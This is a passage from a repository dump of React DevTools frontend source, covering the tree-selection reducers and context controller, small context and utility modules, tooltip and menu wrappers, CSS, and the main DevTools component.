(ownerFlatTree !== null) {\n        const payload = (action: ACTION_SELECT_ELEMENT_BY_ID).payload;\n        if (payload === null) {\n          inspectedElementIndex = null;\n        } else {\n          inspectedElementIndex = ownerFlatTree.findIndex(\n            element => element.id === payload,\n          );\n\n          // If the selected element is outside of the current owners list,\n          // exit the list and select the element in the main tree.\n          // This supports features like toggling Suspense.\n          if (inspectedElementIndex !== null && inspectedElementIndex < 0) {\n            ownerID = null;\n            ownerFlatTree = null;\n            inspectedElementIndex = store.getIndexOfElementID(payload);\n          }\n        }\n      }\n      break;\n    case 'SELECT_NEXT_ELEMENT_IN_TREE':\n      if (ownerFlatTree !== null && ownerFlatTree.length > 0) {\n        if (inspectedElementIndex === null) {\n          inspectedElementIndex = 0;\n        } else if (inspectedElementIndex + 1 < ownerFlatTree.length) {\n          inspectedElementIndex++;\n        }\n      }\n      break;\n    case 'SELECT_PREVIOUS_ELEMENT_IN_TREE':\n      if (ownerFlatTree !== null && ownerFlatTree.length > 0) {\n        if (inspectedElementIndex !== null && inspectedElementIndex > 0) {\n          inspectedElementIndex--;\n        }\n      }\n      break;\n    case 'SELECT_OWNER':\n      // If the Store doesn't have any owners metadata, don't drill into an empty stack.\n      // This is a confusing user experience.\n      if (store.hasOwnerMetadata) {\n        ownerID = (action: ACTION_SELECT_OWNER).payload;\n        ownerFlatTree = store.getOwnersListForElement(ownerID);\n\n        // Always force reset selection to be the top of the new owner tree.\n        inspectedElementIndex = 0;\n        prevInspectedElementIndex = null;\n      }\n      break;\n    default:\n      // React can bailout of no-op updates.\n      return state;\n  }\n\n  // Changes in the selected owner require re-calculating the owners tree.\n  if (\n    ownerFlatTree !== state.ownerFlatTree ||\n    action.type === 'HANDLE_STORE_MUTATION'\n  ) {\n    if (ownerFlatTree === null) {\n      numElements = store.numElements;\n    } else {\n      numElements = ownerFlatTree.length;\n    }\n  }\n\n  // Keep selected item ID and index in sync.\n  if (inspectedElementIndex !== prevInspectedElementIndex) {\n    if (inspectedElementIndex === null) {\n      inspectedElementID = null;\n    } else {\n      if (ownerFlatTree !== null) {\n        inspectedElementID = ownerFlatTree[inspectedElementIndex].id;\n      }\n    }\n  }\n\n  return {\n    ...state,\n\n    numElements,\n\n    searchIndex,\n    searchResults,\n    searchText,\n\n    ownerID,\n    ownerFlatTree,\n\n    inspectedElementID,\n    inspectedElementIndex,\n  };\n}\n\nfunction reduceActivityState(\n  store: Store,\n  state: State,\n  action: Action,\n): State {\n  switch (action.type) {\n    case 'HANDLE_STORE_MUTATION':\n      let {activityID} = state;\n      const [, , activitySliceIDChange] = action.payload;\n      const activities = store.getActivities();\n      if (activitySliceIDChange === 0 && activityID !== null) {\n        activityID = null;\n      } else if (\n        activitySliceIDChange !== null &&\n        activitySliceIDChange !== activityID\n      ) {\n        activityID = activitySliceIDChange;\n      }\n      if (activityID !== state.activityID || activities !== state.activities) {\n        return {\n          ...state,\n          activityID,\n          activities,\n        };\n      }\n  }\n  return state;\n}\n\ntype Props = {\n  children: React$Node,\n\n  // Used for automated testing\n  defaultOwnerID?: ?number,\n  defaultInspectedElementID?: ?number,\n  defaultInspectedElementIndex?: ?number,\n};\n\nfunction getInitialState({\n  defaultOwnerID,\n  defaultInspectedElementID,\n  defaultInspectedElementIndex,\n  store,\n}: {\n  defaultOwnerID?: ?number,\n  defaultInspectedElementID?: ?number,\n  defaultInspectedElementIndex?: ?number,\n  store: Store,\n}): State {\n  return {\n    // Tree\n    numElements: store.numElements,\n    ownerSubtreeLeafElementID: null,\n\n    // Search\n    searchIndex: null,\n    searchResults: [],\n    searchText: '',\n\n    // Owners\n    ownerID: defaultOwnerID == null ? null : defaultOwnerID,\n    ownerFlatTree: null,\n\n    // Activity slice\n    activityID: null,\n    activities: store.getActivities(),\n\n    // Inspection element panel\n    inspectedElementID:\n      defaultInspectedElementID != null\n        ? defaultInspectedElementID\n        : store.lastSelectedHostInstanceElementId,\n    inspectedElementIndex:\n      defaultInspectedElementIndex != null\n        ? defaultInspectedElementIndex\n        : store.lastSelectedHostInstanceElementId\n          ? store.getIndexOfElementID(store.lastSelectedHostInstanceElementId)\n          : null,\n  };\n}\n\n// TODO Remove TreeContextController wrapper element once global Context.write API exists.\nfunction TreeContextController({\n  children,\n  defaultOwnerID,\n  defaultInspectedElementID,\n  defaultInspectedElementIndex,\n}: Props): React.Node {\n  const store = useContext(StoreContext);\n\n  const initialRevision = useMemo(() => store.revision, [store]);\n\n  // This reducer is created inline because it needs access to the Store.\n  // The store is mutable, but the Store itself is global and lives for the lifetime of the DevTools,\n  // so it's okay for the reducer to have an empty dependencies array.\n  const reducer = useMemo(\n    () =>\n      (state: State, action: Action): State => {\n        const {type} = action;\n        switch (type) {\n          case 'GO_TO_NEXT_SEARCH_RESULT':\n          case 'GO_TO_PREVIOUS_SEARCH_RESULT':\n          case 'HANDLE_STORE_MUTATION':\n          case 'RESET_OWNER_STACK':\n          case 'SELECT_ELEMENT_AT_INDEX':\n          case 'SELECT_ELEMENT_BY_ID':\n          case 'SELECT_CHILD_ELEMENT_IN_TREE':\n          case 'SELECT_NEXT_ELEMENT_IN_TREE':\n          case 'SELECT_NEXT_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE':\n          case 'SELECT_NEXT_SIBLING_IN_TREE':\n          case 'SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE':\n          case 'SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE':\n          case 'SELECT_PARENT_ELEMENT_IN_TREE':\n          case 'SELECT_PREVIOUS_ELEMENT_IN_TREE':\n          case 'SELECT_PREVIOUS_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE':\n          case 'SELECT_PREVIOUS_SIBLING_IN_TREE':\n          case 'SELECT_OWNER':\n          case 'SET_SEARCH_TEXT':\n            state = reduceTreeState(store, state, action);\n            state = reduceSearchState(store, state, action);\n            state = reduceOwnersState(store, state, action);\n            state = reduceActivityState(store, state, action);\n\n            // TODO(hoxyq): review\n            // If the selected ID is in a collapsed subtree, reset the selected index to null.\n            // We'll know the correct index after the layout effect will toggle the tree,\n            // and the store tree is mutated to account for that.\n            if (\n              state.inspectedElementID !== null &&\n              store.isInsideCollapsedSubTree(state.inspectedElementID)\n            ) {\n              return {\n                ...state,\n                inspectedElementIndex: null,\n              };\n            }\n\n            return state;\n          default:\n            throw new Error(`Unrecognized action \"${type}\"`);\n        }\n      },\n    [store],\n  );\n\n  const [state, dispatch] = useReducer(\n    reducer,\n    {\n      defaultOwnerID,\n      defaultInspectedElementID,\n      defaultInspectedElementIndex,\n      store,\n    },\n    getInitialState,\n  );\n  const transitionDispatch = useMemo(\n    () => (action: Action) =>\n      startTransition(() => {\n        dispatch(action);\n      }),\n    [dispatch],\n  );\n\n  // Listen for host element selections.\n  useEffect(() => {\n    const handler = (id: Element['id'] | null) => {\n      transitionDispatch({type: 'SELECT_ELEMENT_BY_ID', payload: id});\n    };\n\n    store.addListener('hostInstanceSelected', handler);\n    return () => store.removeListener('hostInstanceSelected', handler);\n  }, [store, transitionDispatch]);\n\n  // If a newly-selected search result or inspection selection is inside of a collapsed subtree, auto expand it.\n  // This needs to be a layout effect to avoid temporarily flashing an incorrect selection.\n  const prevInspectedElementID = useRef<number | null>(null);\n  useLayoutEffect(() => {\n    if (state.inspectedElementID !== prevInspectedElementID.current) {\n      prevInspectedElementID.current = state.inspectedElementID;\n\n      if (state.inspectedElementID !== null) {\n        const element = store.getElementByID(state.inspectedElementID);\n        if (element !== null && element.parentID > 0) {\n          store.toggleIsCollapsed(element.parentID, false);\n        }\n      }\n    }\n  }, [state.inspectedElementID, store]);\n\n  // Mutations to the underlying tree may impact this context (e.g. search results, selection state).\n  useEffect(() => {\n    const handleStoreMutated = ([\n      addedElementIDs,\n      removedElementIDs,\n      activitySliceIDChange,\n    ]: [Array<number>, Map<number, number>, null | Element['id']]) => {\n      dispatch({\n        type: 'HANDLE_STORE_MUTATION',\n        payload: [addedElementIDs, removedElementIDs, activitySliceIDChange],\n      });\n    };\n\n    // Since this is a passive effect, the tree may have been mutated before our initial subscription.\n    if (store.revision !== initialRevision) {\n      // At the moment, we can treat this as a mutation.\n      // We don't know which Elements were newly added/removed, but that should be okay in this case.\n      // It would only impact the search state, which is unlikely to exist yet at this point.\n      dispatch({\n        type: 'HANDLE_STORE_MUTATION',\n        payload: [[], new Map(), null],\n      });\n    }\n\n    store.addListener('mutated', handleStoreMutated);\n    return () => store.removeListener('mutated', handleStoreMutated);\n  }, [dispatch, initialRevision, store]);\n\n  return (\n    <TreeStateContext.Provider value={state}>\n      <TreeDispatcherContext.Provider value={transitionDispatch}>\n        {children}\n      </TreeDispatcherContext.Provider>\n    </TreeStateContext.Provider>\n  );\n}\nfunction recursivelySearchTree(\n  store: Store,\n  elementID: number,\n  regExp: RegExp,\n  searchResults: Array<number>,\n): void {\n  const element = store.getElementByID(elementID);\n\n  if (element == null) {\n    return;\n  }\n\n  const {\n    children,\n    displayName,\n    hocDisplayNames,\n    compiledWithForget,\n    key,\n    nameProp,\n  } = element;\n  if (displayName != null && regExp.test(displayName) === true) {\n    searchResults.push(elementID);\n  } else if (\n    hocDisplayNames != null &&\n    hocDisplayNames.length > 0 &&\n    hocDisplayNames.some(name => regExp.test(name)) === true\n  ) {\n    searchResults.push(elementID);\n  } else if (compiledWithForget && regExp.test('Forget')) {\n    searchResults.push(elementID);\n  } else if (typeof key === 'string' && regExp.test(key)) {\n    searchResults.push(elementID);\n  } else if (typeof nameProp === 'string' && regExp.test(nameProp)) {\n    searchResults.push(elementID);\n  }\n\n  children.forEach(childID =>\n    recursivelySearchTree(store, childID, regExp, searchResults),\n  );\n}\n\nfunction getNearestResultIndex(\n  store: Store,\n  searchResults: Array<number>,\n  inspectedElementIndex: number,\n): number {\n  const index = searchResults.findIndex(id => {\n    const innerIndex = store.getIndexOfElementID(id);\n    return innerIndex !== null && innerIndex >= inspectedElementIndex;\n  });\n\n  return index === -1 ? 0 : index;\n}\n\nexport {TreeDispatcherContext, TreeStateContext, TreeContextController};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/TreeFocusedContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport {createContext} from 'react';\n\nconst TreeFocusedContext: ReactContext<boolean> = createContext<boolean>(false);\n\nexport default TreeFocusedContext;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/ViewElementSourceContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport {createContext} from 'react';\n\nimport type {\n  CanViewElementSource,\n  ViewElementSource,\n} from 'react-devtools-shared/src/devtools/views/DevTools';\n\nexport type Context = {\n  canViewElementSourceFunction: CanViewElementSource | null,\n  viewElementSourceFunction: ViewElementSource | null,\n};\n\nconst ViewElementSourceContext: ReactContext<Context> = createContext<Context>(\n  ((null: any): Context),\n);\nViewElementSourceContext.displayName = 'ViewElementSourceContext';\n\nexport default ViewElementSourceContext;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/constants.js",
    "content": "export const PROTOCOLS_SUPPORTED_AS_LINKS_IN_KEY_VALUE = [\n  'file:///',\n  'http://',\n  'https://',\n  'vscode://',\n];\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/formatLocationForDisplay.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {toNormalUrl} from 'jsc-safe-url';\n\n// This function is based on describeComponentFrame() in packages/shared/ReactComponentStackFrame\nexport default function formatLocationForDisplay(\n  sourceURL: string,\n  line: number,\n  column: number,\n): string {\n  // Metro can return JSC-safe URLs, which have `//&` as a delimiter\n  // https://www.npmjs.com/package/jsc-safe-url\n  const sanitizedSourceURL = sourceURL.includes('//&')\n    ? toNormalUrl(sourceURL)\n    : sourceURL;\n\n  // Note: this RegExp doesn't work well with URLs from Metro,\n  // which provides bundle URL with query parameters prefixed with /&\n  const BEFORE_SLASH_RE = /^(.*)[\\\\\\/]/;\n\n  let nameOnly = sanitizedSourceURL.replace(BEFORE_SLASH_RE, '');\n\n  // In DEV, include code for a common special case:\n  // prefer \"folder/index.js\" instead of just \"index.js\".\n  if (/^index\\./.test(nameOnly)) {\n    const match = sanitizedSourceURL.match(BEFORE_SLASH_RE);\n    if (match) {\n      const pathBeforeSlash = match[1];\n      if (pathBeforeSlash) {\n        const folderName = pathBeforeSlash.replace(BEFORE_SLASH_RE, '');\n        nameOnly = folderName + '/' + nameOnly;\n      }\n    }\n  }\n\n  if (line === 0) {\n    return nameOnly;\n  }\n\n  return `${nameOnly}:${line}`;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/reach-ui/Tooltip.css",
    "content": ".Tooltip {\n  border: none;\n  border-radius: 0.25rem;\n  padding: 0.25rem 0.5rem;\n  font-family: var(--font-family-sans);\n  font-size: 12px;\n  background-color: var(--color-tooltip-background);\n  color: var(--color-tooltip-text);\n  box-shadow: 1px 1px 2px var(--color-shadow);\n\n  /* Make sure this is above the DevTools, which are above the Overlay */\n  z-index: 10000002;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/reach-ui/menu-button.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {\n  Menu,\n  MenuList as ReachMenuList,\n  MenuButton,\n  MenuItem,\n} from '@reach/menu-button';\nimport useThemeStyles from '../../useThemeStyles';\n\nconst MenuList = ({\n  children,\n  ...props\n}: {\n  children: React$Node,\n  ...\n}): React.Node => {\n  const style = useThemeStyles();\n  return (\n    // $FlowFixMe[cannot-spread-inexact] unsafe spread\n    <ReachMenuList style={style} {...props}>\n      {children}\n    </ReachMenuList>\n  );\n};\n\nexport {MenuItem, MenuButton, MenuList, Menu};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/reach-ui/tooltip.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport ReachTooltip from '@reach/tooltip';\nimport tooltipStyles from './Tooltip.css';\nimport useThemeStyles from '../../useThemeStyles';\n\nconst Tooltip = ({\n  children,\n  className = '',\n  ...props\n}: {\n  children: React$Node,\n  className: string,\n  ...\n}): React.Node => {\n  const style = useThemeStyles();\n  return (\n    // $FlowFixMe[cannot-spread-inexact] unsafe spread\n    <ReachTooltip\n      className={`${tooltipStyles.Tooltip} ${className}`}\n      style={style}\n      {...props}>\n      {children}\n    </ReachTooltip>\n  );\n};\n\nexport default Tooltip;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * Converts nested hooks paths to the format expected by the backend.\n * e.g. [''] => ['']\n * e.g. [1, 'value', ...] => [...]\n * e.g. [2, 'subhooks', 1, 'value', ...] => [...]\n * e.g. [1, 'subhooks', 3, 'subhooks', 2, 'value', ...] => [...]\n */\nexport function parseHookPathForEdit(\n  path: Array<string | number>,\n): Array<string | number> {\n  let index = 0;\n  for (let i = 0; i < path.length; i++) {\n    if (path[i] === 'value') {\n      index = i + 1;\n      break;\n    }\n  }\n  return path.slice(index);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/DevTools.css",
    "content": ".DevTools {\n  width: 100%;\n  height: 100%;\n  display: flex;\n  flex-direction: column;\n  background-color: var(--color-background);\n  color: var(--color-text);\n  container-name: devtools;\n  container-type: inline-size;\n}\n\n.TabBar {\n  flex: 0 0 auto;\n  display: flex;\n  align-items: center;\n  padding: 0 0.5rem;\n  background-color: var(--color-background);\n  border-top: 1px solid var(--color-border);\n  font-family: var(--font-family-sans);\n  font-size: var(--font-size-sans-large);\n  user-select: none;\n\n  /* Electron drag area */\n  -webkit-app-region: drag;\n}\n\n.Spacer {\n  flex: 1;\n}\n\n.TabContent {\n  flex: 1 1 100%;\n  overflow: auto;\n  -webkit-app-region: no-drag;\n}\n\n.DevToolsVersion {\n  font-size: var(--font-size-sans-normal);\n  margin-right: 0.5rem;\n}\n\n.DevToolsVersion:before {\n  font-size: var(--font-size-sans-large);\n  content: 'DevTools ';\n}\n\n@media screen and (max-width: 400px) {\n  .DevToolsVersion:before {\n    content: '';\n  }\n}\n\n@media screen and (max-width: 300px) {\n  .DevToolsVersion {\n    display: none;\n  }\n}\n\n.DevTools, .DevTools * {\n  box-sizing: border-box;\n  -webkit-font-smoothing: var(--font-smoothing);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/DevTools.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Reach styles need to come before any component styles.\n// This makes overriding the styles simpler.\nimport '@reach/menu-button/styles.css';\nimport '@reach/tooltip/styles.css';\n\nimport * as React from 'react';\nimport {useCallback, useEffect, useLayoutEffect, useMemo, useRef} from 'react';\nimport Store from '../store';\nimport {\n  BridgeContext,\n  ContextMenuContext,\n  StoreContext,\n  OptionsContext,\n} from './context';\nimport Components from './Components/Components';\nimport Profiler from './Profiler/Profiler';\nimport SuspenseTab from './SuspenseTab/SuspenseTab';\nimport TabBar from './TabBar';\nimport EditorPane from './Editor/EditorPane';\nimport InspectedElementPane from './InspectedElement/InspectedElementPane';\nimport {SettingsContextController} from './Settings/SettingsContext';\nimport {TreeContextController} from './Components/TreeContext';\nimport ViewElementSourceContext from './Components/ViewElementSourceContext';\nimport FetchFileWithCachingContext from './Components/FetchFileWithCachingContext';\nimport {InspectedElementContextController} from './Components/InspectedElementContext';\nimport HookNamesModuleLoaderContext from 'react-devtools-shared/src/devtools/views/Components/HookNamesModuleLoaderContext';\nimport {ProfilerContextController} from './Profiler/ProfilerContext';\nimport {SuspenseTreeContextController} from './SuspenseTab/SuspenseTreeContext';\nimport {TimelineContextController} from 'react-devtools-timeline/src/TimelineContext';\nimport {ModalDialogContextController} from './ModalDialog';\nimport ReactLogo from './ReactLogo';\nimport UnsupportedBridgeProtocolDialog from './UnsupportedBridgeProtocolDialog';\nimport UnsupportedVersionDialog from './UnsupportedVersionDialog';\nimport WarnIfLegacyBackendDetected from './WarnIfLegacyBackendDetected';\nimport {useLocalStorage} from './hooks';\nimport ThemeProvider from './ThemeProvider';\nimport {LOCAL_STORAGE_DEFAULT_TAB_KEY} from '../../constants';\nimport {logEvent} from '../../Logger';\n\nimport styles from './DevTools.css';\n\nimport './root.css';\n\nimport type {FetchFileWithCaching} from './Components/FetchFileWithCachingContext';\nimport type {HookNamesModuleLoaderFunction} from 'react-devtools-shared/src/devtools/views/Components/HookNamesModuleLoaderContext';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {BrowserTheme} from 'react-devtools-shared/src/frontend/types';\nimport type {ReactFunctionLocation, ReactCallSite} from 'shared/ReactTypes';\nimport type {SourceSelection} from './Editor/EditorPane';\n\nexport type TabID = 'components' | 'profiler' | 'suspense';\n\nexport type ViewElementSource = (\n  source: ReactFunctionLocation | ReactCallSite,\n  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,\n) => void;\nexport type ViewAttributeSource = (\n  id: number,\n  path: Array<string | number>,\n) => void;\nexport type CanViewElementSource = (\n  source: ReactFunctionLocation | ReactCallSite,\n  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,\n) => boolean;\n\nexport type Props = {\n  bridge: FrontendBridge,\n  browserTheme?: BrowserTheme,\n  canViewElementSourceFunction?: ?CanViewElementSource,\n  defaultTab?: TabID,\n  enabledInspectedElementContextMenu?: boolean,\n  showTabBar?: boolean,\n  store: Store,\n  warnIfLegacyBackendDetected?: boolean,\n  warnIfUnsupportedVersionDetected?: boolean,\n  viewAttributeSourceFunction?: ?ViewAttributeSource,\n  viewElementSourceFunction?: ?ViewElementSource,\n  readOnly?: boolean,\n  hideSettings?: boolean,\n  hideToggleErrorAction?: boolean,\n  hideToggleSuspenseAction?: boolean,\n  hideLogAction?: boolean,\n  hideViewSourceAction?: boolean,\n\n  // This property is used only by the web extension target.\n  // The built-in tab UI is hidden in that case, in favor of the browser's own panel tabs.\n  // This is done to save space within the app.\n  // Because of this, the extension needs to be able to change which tab is active/rendered.\n  overrideTab?: TabID,\n\n  // To avoid potential multi-root trickiness, the web extension uses portals to render tabs.\n  // The root <DevTools> app is rendered in the top-level extension window,\n  // but individual tabs (e.g. Components, Profiling) can be rendered into portals within their browser panels.\n  componentsPortalContainer?: Element,\n  inspectedElementPortalContainer?: Element,\n  profilerPortalContainer?: Element,\n  suspensePortalContainer?: Element,\n  editorPortalContainer?: Element,\n\n  currentSelectedSource?: null | SourceSelection,\n\n  // Loads and parses source maps for function components\n  // and extracts hook \"names\" based on the variables the hook return values get assigned to.\n  // Not every DevTools build can load source maps, so this property is optional.\n  fetchFileWithCaching?: ?FetchFileWithCaching,\n  // TODO (Webpack 5) Hopefully we can remove this prop after the Webpack 5 migration.\n  hookNamesModuleLoaderFunction?: ?HookNamesModuleLoaderFunction,\n};\n\nconst componentsTab = {\n  id: ('components': TabID),\n  icon: 'components',\n  label: 'Components',\n  title: 'React Components',\n};\nconst profilerTab = {\n  id: ('profiler': TabID),\n  icon: 'profiler',\n  label: 'Profiler',\n  title: 'React Profiler',\n};\nconst suspenseTab = {\n  id: ('suspense': TabID),\n  icon: 'suspense',\n  label: 'Suspense',\n  title: 'React Suspense',\n};\n\nconst tabs = [componentsTab, profilerTab, suspenseTab];\n\nexport default function DevTools({\n  bridge,\n  browserTheme = 'light',\n  canViewElementSourceFunction,\n  componentsPortalContainer,\n  editorPortalContainer,\n  inspectedElementPortalContainer,\n  profilerPortalContainer,\n  suspensePortalContainer,\n  currentSelectedSource,\n  defaultTab = 'components',\n  enabledInspectedElementContextMenu = false,\n  fetchFileWithCaching,\n  hookNamesModuleLoaderFunction,\n  overrideTab,\n  showTabBar = false,\n  store,\n  warnIfLegacyBackendDetected = false,\n  warnIfUnsupportedVersionDetected = false,\n  viewAttributeSourceFunction,\n  viewElementSourceFunction,\n  readOnly,\n  hideSettings,\n  hideToggleErrorAction,\n  hideToggleSuspenseAction,\n  hideLogAction,\n  hideViewSourceAction,\n}: Props): React.Node {\n  const [currentTab, setTab] = useLocalStorage<TabID>(\n    LOCAL_STORAGE_DEFAULT_TAB_KEY,\n    defaultTab,\n  );\n\n  let tab = currentTab;\n\n  if (overrideTab != null) {\n    tab = overrideTab;\n  }\n\n  const selectTab = useCallback(\n    (tabId: TabID) => {\n      // We show the TabBar when DevTools is NOT rendered as a browser extension.\n      // In this case, we want to capture when people select tabs with the TabBar.\n      // When DevTools is rendered as an extension, we capture this event when\n      // the browser devtools panel changes.\n      if (showTabBar === true) {\n        if (tabId === 'components') {\n          logEvent({event_name: 'selected-components-tab'});\n        } else if (tabId === 'suspense') {\n          logEvent({event_name: 'selected-suspense-tab'});\n        } else {\n          logEvent({event_name: 'selected-profiler-tab'});\n        }\n      }\n      setTab(tabId);\n    },\n    [setTab, showTabBar],\n  );\n\n  const options = useMemo(\n    () => ({\n      readOnly: readOnly || false,\n      hideSettings: hideSettings || false,\n      hideToggleErrorAction: hideToggleErrorAction || false,\n      hideToggleSuspenseAction: hideToggleSuspenseAction || false,\n      hideLogAction: hideLogAction || false,\n      hideViewSourceAction: hideViewSourceAction || false,\n    }),\n    [\n      readOnly,\n      hideSettings,\n      hideToggleErrorAction,\n      hideToggleSuspenseAction,\n      hideLogAction,\n      hideViewSourceAction,\n    ],\n  );\n\n  const viewElementSource = useMemo(\n    () => ({\n      canViewElementSourceFunction: canViewElementSourceFunction || null,\n      viewElementSourceFunction: viewElementSourceFunction || null,\n    }),\n    [canViewElementSourceFunction, viewElementSourceFunction],\n  );\n\n  const contextMenu = useMemo(\n    () => ({\n      isEnabledForInspectedElement: enabledInspectedElementContextMenu,\n      viewAttributeSourceFunction: viewAttributeSourceFunction || null,\n    }),\n    [enabledInspectedElementContextMenu, viewAttributeSourceFunction],\n  );\n\n  const devToolsRef = useRef<HTMLElement | null>(null);\n\n  useEffect(() => {\n    if (!showTabBar) {\n      return;\n    }\n\n    const div = devToolsRef.current;\n    if (div === null) {\n      return;\n    }\n\n    const ownerWindow = div.ownerDocument.defaultView;\n    const handleKeyDown = (event: KeyboardEvent) => {\n      if (event.ctrlKey || event.metaKey) {\n        switch (event.key) {\n          case '1':\n            selectTab(tabs[0].id);\n            event.preventDefault();\n            event.stopPropagation();\n            break;\n          case '2':\n            selectTab(tabs[1].id);\n            event.preventDefault();\n            event.stopPropagation();\n            break;\n          case '3':\n            if (tabs.length > 2) {\n              selectTab(tabs[2].id);\n              event.preventDefault();\n              event.stopPropagation();\n            }\n            break;\n        }\n      }\n    };\n    ownerWindow.addEventListener('keydown', handleKeyDown);\n    return () => {\n      ownerWindow.removeEventListener('keydown', handleKeyDown);\n    };\n  }, [showTabBar]);\n\n  useLayoutEffect(() => {\n    return () => {\n      try {\n        // Shut the Bridge down synchronously (during unmount).\n        bridge.shutdown();\n      } catch (error) {\n        // Attempting to use a disconnected port.\n      }\n    };\n  }, [bridge]);\n\n  useEffect(() => {\n    logEvent({event_name: 'loaded-dev-tools'});\n  }, []);\n\n  return (\n    <BridgeContext.Provider value={bridge}>\n      <StoreContext.Provider value={store}>\n        <OptionsContext.Provider value={options}>\n          <ContextMenuContext.Provider value={contextMenu}>\n            <ModalDialogContextController>\n              <SettingsContextController\n                browserTheme={browserTheme}\n                componentsPortalContainer={componentsPortalContainer}\n                profilerPortalContainer={profilerPortalContainer}>\n                <ViewElementSourceContext.Provider value={viewElementSource}>\n                  <HookNamesModuleLoaderContext.Provider\n                    value={hookNamesModuleLoaderFunction || null}>\n                    <FetchFileWithCachingContext.Provider\n                      value={fetchFileWithCaching || null}>\n                      <TreeContextController>\n                        <ProfilerContextController>\n                          <TimelineContextController>\n                            <InspectedElementContextController>\n                              <SuspenseTreeContextController>\n                                <ThemeProvider>\n                                  <div\n                                    className={styles.DevTools}\n                                    ref={devToolsRef}\n                                    data-react-devtools-portal-root={true}>\n                                    {showTabBar && (\n                                      <div className={styles.TabBar}>\n                                        <ReactLogo />\n                                        <span\n                                          className={styles.DevToolsVersion}>\n                                          {process.env.DEVTOOLS_VERSION}\n                                        </span>\n                                        <div className={styles.Spacer} />\n                                        <TabBar\n                                          currentTab={tab}\n                                          id=\"DevTools\"\n                                          selectTab={selectTab}\n                                          tabs={tabs}\n                                          type=\"navigation\"\n                                        />\n                                      </div>\n                                    )}\n                                    <div\n                                      className={styles.TabContent}\n                                      hidden={tab !== 'components'}>\n                                      <Components\n                                        portalContainer={\n                                          componentsPortalContainer\n                                        }\n                                      />\n                                    </div>\n                                    <div\n                                      className={styles.TabContent}\n                                      hidden={tab !== 'profiler'}>\n                                      <Profiler\n                                        portalContainer={\n                                          profilerPortalContainer\n                                        }\n                                      />\n                                    </div>\n                                    <div\n                                      className={styles.TabContent}\n                                      hidden={tab !== 'suspense'}>\n                                      <SuspenseTab\n                                        portalContainer={\n                                          suspensePortalContainer\n                                        }\n                                      />\n                                    </div>\n                                  </div>\n                                  {editorPortalContainer ? (\n                                    <EditorPane\n                                      selectedSource={currentSelectedSource}\n                                      portalContainer={editorPortalContainer}\n                                    />\n                                  ) : null}\n                                  {inspectedElementPortalContainer ? (\n                                    <InspectedElementPane\n                                      selectedSource={currentSelectedSource}\n                                      portalContainer={\n                                        inspectedElementPortalContainer\n                                      }\n                                    />\n                                  ) : null}\n                                </ThemeProvider>\n                              </SuspenseTreeContextController>\n                            </InspectedElementContextController>\n                          </TimelineContextController>\n                        </ProfilerContextController>\n                      </TreeContextController>\n                    </FetchFileWithCachingContext.Provider>\n                  </HookNamesModuleLoaderContext.Provider>\n                </ViewElementSourceContext.Provider>\n              </SettingsContextController>\n              <UnsupportedBridgeProtocolDialog />\n              {warnIfLegacyBackendDetected && <WarnIfLegacyBackendDetected />}\n              {warnIfUnsupportedVersionDetected && <UnsupportedVersionDialog />}\n            </ModalDialogContextController>\n          </ContextMenuContext.Provider>\n        </OptionsContext.Provider>\n      </StoreContext.Provider>\n    </BridgeContext.Provider>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Editor/EditorPane.css",
